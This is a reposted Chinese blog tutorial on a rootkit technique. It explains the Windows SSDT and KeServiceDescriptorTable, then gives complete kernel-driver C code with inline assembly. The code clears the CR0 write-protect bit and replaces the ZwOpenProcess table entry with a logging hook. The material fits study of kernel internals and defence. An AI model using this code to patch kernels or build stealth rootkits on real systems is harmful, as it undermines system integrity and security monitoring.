博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Rootkit之SSDT hook(通过CR0)
阅读量:6504 次
发布时间:2019-06-24

本文共 2646 字,大约阅读时间需要 8 分钟。

SSDT即System Service Dispath Table,它是一个表,这个表中有内核调用的函数地址。

KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是

typedef struct ServiceDescriptorTable {

PVOID ServiceTableBase;

PVOID ServiceCounterTable(0);

unsigned int NumberOfServices;

PVOID ParamTableBase;

}


其中,

ServiceTableBase System Service Dispatch Table 的基地址。

NumberOfServices 由 ServiceTableBase 描述的服务的数目。

ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。

ParamTableBase 包含每个系统服务参数字节数表的基地址。


CR0当中有一个写保护位,是保护内存不可写属性的,为了能够写入内核,只能把它的保护给咔嚓掉了,不过……如果做完了手脚但不还原写保护属性的话,极有可能会BOSD.


代码实例如下:


#include <NTDDK.h>


#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase; //Used only in checked build

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

#pragma pack()


_declspec(dllimport) ServiceDescriptorTableEntry 


KeServiceDescriptorTable;


NTSYSAPI NTSTATUS ZwOpenProcess(OUT PHANDLE ProcessHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

IN PCLIENT_ID ClientId);


typedef NTSTATUS (*ZWOPENPROCESS)(OUT PHANDLE ProcessHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

IN PCLIENT_ID ClientId);


#define SYSTEMSERVICE(_function) 


KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function + 1)]


ZWOPENPROCESS OldZwOpenProcess;


NTSTATUS MyZwOpenProcess(PHANDLE ProcessHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

PCLIENT_ID ClientId)

{

NTSTATUS ntStatus = STATUS_SUCCESS;


KdPrint(("MyZwOpenProcess\r\n"));


//调用原来的NtOpenProcess;

ntStatus = OldZwOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);


return ntStatus;

}


VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)

{

__asm{//去掉内存保护

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}


(ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess) = OldZwOpenProcess;//恢复HOOK SSDT


__asm{//恢复内存保护 

mov  eax,cr0

or   eax,10000h

mov  cr0,eax

sti

}


KdPrint(("驱动卸载完毕!\r\n"));

}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING pRegistryPath)

{

NTSTATUS status = STATUS_SUCCESS;

KdPrint(("The driver begin loading.\r\n"));

DriverObject->DriverUnload = DriverUnload;

OldZwOpenProcess = (ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess);


__asm{//去掉内存保护

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}


(ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess) = MyZwOpenProcess;    


//HOOK SSDT


__asm{//恢复内存保护 

mov  eax,cr0

or   eax,10000h

mov  cr0,eax

sti

}

KdPrint(("The driver ends loading\r\n"));

return status;

}

转载于:https://www.cnblogs.com/vcerror/p/4289219.html

你可能感兴趣的文章
spring-core组件详解——类型转换系统
查看>>
mysql8.0 mysqld: File './binlog.index' not found
查看>>
C语言扩展Python(二)
查看>>
window.addEventListener介绍说明
查看>>
js获取节点
查看>>
jq复习心得
查看>>
去掉EM标签斜体样式
查看>>
触摸事件&手势识别
查看>>
NoSQL数据库笔谈(转)
查看>>
gem sources
查看>>
推荐大家一个比较好的弹出层效果
查看>>
Spark Python 快速体验
查看>>
让 SpringMVC 接收多个对象的4种方法
查看>>
HttpClient发送post请求,中文编码问题
查看>>
Asterisk 1.8 sip 协议栈分析
查看>>
React Native编译错误:ReactAndroid:buildReactNdkLib FAILED
查看>>
php+jquery实现转盘抽奖 概率可任意调
查看>>
如何让CI框架支持service层
查看>>
VIM心得(学习VIM语法:动词、名词和修饰词)
查看>>
Nginx+Tomcat负载均衡配置
查看>>